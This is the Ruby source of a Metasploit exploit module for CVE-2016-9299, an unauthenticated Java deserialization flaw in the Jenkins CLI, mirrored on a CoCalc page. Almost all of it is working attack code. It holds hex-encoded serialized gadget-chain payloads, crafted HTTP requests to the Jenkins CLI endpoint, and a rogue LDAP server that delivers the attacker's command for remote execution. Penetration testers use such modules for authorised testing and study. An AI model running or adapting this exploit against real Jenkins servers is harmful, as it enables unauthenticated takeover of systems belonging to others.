CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78"
10
# java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf'
11
STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"
12
13
SEARCH_REQUEST = 3
14
SEARCH_RES_ENTRY = 4
15
SEARCH_RES_DONE = 5
16
ABANDON_REQUEST = 16
17
18
include Msf::Exploit::Remote::Tcp
19
20
def initialize(info = {})
21
super(update_info(info,
22
'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability',
23
'Description' => %q{
24
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
25
the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not
26
required to exploit this vulnerability.
27
28
},
29
'Author' =>
30
[
31
'Matthias Kaiser', # Original Vulnerability discovery
32
'Alisa Esage', # Private Exploit
33
'Ivan', # Metasploit Module Author
34
'YSOSerial' #Stage 2 payload
35
],
36
'License' => MSF_LICENSE,
37
'Platform' => ['linux', 'unix'],
38
'Arch' => ARCH_CMD,
39
'Targets' => [ [ 'Jenkins 2.31', {} ] ],
40
'References' =>
41
[
42
['CVE', '2016-9299'],
43
['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'],
44
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'],
45
['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'],
46
['URL', 'https://github.com/frohoff/ysoserial']
47
],
48
'Payload' =>
49
{
50
'Compat' =>
51
{
52
'PayloadType' => 'cmd'
53
}
54
},
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2016-11-16'
57
))
58
59
register_options([
60
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
61
Opt::RPORT('8080'),
62
OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]),
63
OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]),
64
OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ])
65
])
66
end
67
68
def target_uri
69
begin
70
URI(datastore['TARGETURI'])
71
rescue ::URI::InvalidURIError
72
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
73
raise Msf::OptionValidateError.new(['TARGETURI'])
74
end
75
end
76
77
def normalize_uri(*strs)
78
new_str = strs * "/"
79
80
new_str = new_str.gsub!("//", "/") while new_str.index("//")
81
82
# Makes sure there's a starting slash
83
unless new_str[0,1] == '/'
84
new_str = '/' + new_str
85
end
86
87
new_str
88
end
89
90
def aseq(x, tag)
91
s = seq(x)
92
s.tag_class = :APPLICATION
93
s.tag = tag
94
s
95
end
96
97
def seq(x)
98
OpenSSL::ASN1::Sequence.new(x)
99
end
100
101
def int(x)
102
OpenSSL::ASN1::Integer.new(x)
103
end
104
105
def string(x)
106
OpenSSL::ASN1::OctetString.new(x)
107
end
108
109
def set(x)
110
OpenSSL::ASN1::Set.new(x)
111
end
112
113
def enum(x)
114
OpenSSL::ASN1::Enumerated.new(x)
115
end
116
117
118
def java_string(s)
119
length = s.length
120
121
packed_length = [length].pack("S>")
122
123
"#{packed_length}#{s}"
124
end
125
126
def search_res_done(message_id)
127
s = seq([
128
int(message_id),
129
aseq([enum(0), string(""), string("")], SEARCH_RES_DONE)
130
])
131
s.to_der
132
end
133
134
def make_stage2(command)
135
[STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command))
136
end
137
138
139
def make_stage2_reply(command, message_id)
140
141
java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])])
142
java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])])
143
attributes = seq([java_class_name_attributes, java_serialized_data_attributes])
144
s = seq([
145
int(message_id),
146
aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)])
147
s.to_der
148
end
149
150
151
152
def make_stage1(ldap_url)
153
[STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url))
154
end
155
156
157
def read_ldap_packet(socket)
158
159
buffer = ""
160
161
bytes = socket.read(2)
162
if bytes[0] != "0"
163
raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}"
164
end
165
166
buffer << bytes
167
168
length = bytes[1].ord
169
if (length & (1<<7)) != 0
170
length_bytes_length = length ^ (1<<7)
171
172
length_bytes = socket.read(length_bytes_length)
173
buffer << length_bytes
174
length = length_bytes.bytes.reduce(0) {|c, e| (c << 8) + e}
175
end
176
177
buffer << socket.read(length)
178
buffer
179
end
180
181
182
def write_chunk(socket, chunk)
183
socket.write(chunk.bytesize.to_s(16) + "\r\n")
184
socket.write(chunk)
185
socket.write("\r\n")
186
end
187
188
def exploit
189
uuid = SecureRandom.uuid
190
191
ldap_port = datastore["SRVPORT"]
192
ldap_host = datastore["SRVHOST"]
193
ldap_external_host = datastore["LDAPHOST"]
194
195
command = payload.encoded
196
host = datastore["RHOST"]
197
198
ldap = TCPServer.new(ldap_host, ldap_port)
199
200
cli_path = normalize_uri(target_uri.path, "cli")
201
202
begin
203
204
download = connect()
205
206
begin
207
208
download.write("POST #{cli_path} HTTP/1.1\r\n" +
209
"Host: #{host}\r\n" +
210
"User-Agent: curl/7.36.0\r\n" +
211
"Accept: */*\r\n" +
212
"Session: #{uuid}\r\n" +
213
"Side: download\r\n" +
214
"Content-Length: 0\r\n" +
215
"Content-Type: application/x-www-form-urlencoded\r\n\r\n")
216
217
download.read(20)
218
219
upload = connect()
220
begin
221
upload.write("POST #{cli_path} HTTP/1.1\r\n" +
222
"Host: #{host}\r\n" +
223
"User-Agent: curl/7.36.0\r\n" +
224
"Accept: */*\r\n" +
225
"Session: #{uuid}\r\n" +
226
"Side: upload\r\n" +
227
"Content-type: application/octet-stream\r\n" +
228
"Transfer-Encoding: chunked\r\n\r\n")
229
230
write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=")
231
write_chunk(upload, "\00\00\00\00")
232
233
upload.flush
234
235
stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}")
236
237
chunk_header = [stage1.bytesize].pack("S>")
238
write_chunk(upload, chunk_header + stage1)
239
240
upload.flush
241
242
client = ldap.accept
243
begin
244
245
# this hardcodes an ldap conversation
246
247
# read bindRequest
248
read_ldap_packet(client)
249
250
# write bindResponse
251
client.write(["300c02010161070a010004000400"].pack("H*"))
252
253
# read searchRequest
254
read_ldap_packet(client)
255
256
# write searchResEntry
257
client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*"))
258
259
# write searchResDone
260
client.write(search_res_done(2))
261
262
# read abandonReqeust or searchRequest
263
bytes = read_ldap_packet(client)
264
packet = OpenSSL::ASN1.decode(bytes)
265
266
# abandonRequest packet is sometimes sent
267
# so we distinguish between abandonRequest/searchRequest
268
269
tag = packet.value[1].tag
270
if tag == ABANDON_REQUEST
271
272
bytes = read_ldap_packet(client)
273
packet = OpenSSL::ASN1.decode(bytes)
274
tag = packet.value[1].tag
275
end
276
277
if tag == SEARCH_REQUEST
278
279
message_id = packet.value[0].value.to_int
280
# write searchResEntry
281
client.write(make_stage2_reply(command, message_id))
282
283
# write searchResDone
284
client.write(search_res_done(message_id))
285
else
286
raise "Unexpected packet: #{tag}"
287
end
288
289
client.flush
290
ensure
291
client.close
292
end
293
ensure
294
upload.close
295
end
296
ensure
297
download.close
298
end
299
300
ensure
301
ldap.close
302
end
303
end
304
305
def check
306
result = Exploit::CheckCode::Safe
307
308
begin
309
if vulnerable?
310
result = Exploit::CheckCode::Vulnerable
311
end
312
rescue Msf::Exploit::Failed => e
313
vprint_error(e.message)
314
return Exploit::CheckCode::Unknown
315
end
316
317
result
318
end
319
320
def vulnerable?
321
res = send_request_cgi({
322
'uri' => normalize_uri(target_uri.path)
323
})
324
unless res
325
fail_with(Failure::Unknown, 'The connection timed out.')
326
end
327
328
http_headers = res.headers
329
330
http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31"
331
end
332
333
# Connects to the server, creates a request, sends the request,
334
# reads the response
335
#
336
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
337
#
338
def send_request_cgi(opts={}, timeout = 20)
339
340
begin
341
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
342
c.connect
343
r = c.request_cgi(opts)
344
c.send_recv(r, timeout)
345
rescue ::Errno::EPIPE, ::Timeout::Error
346
nil
347
end
348
end
349
350
end
351
352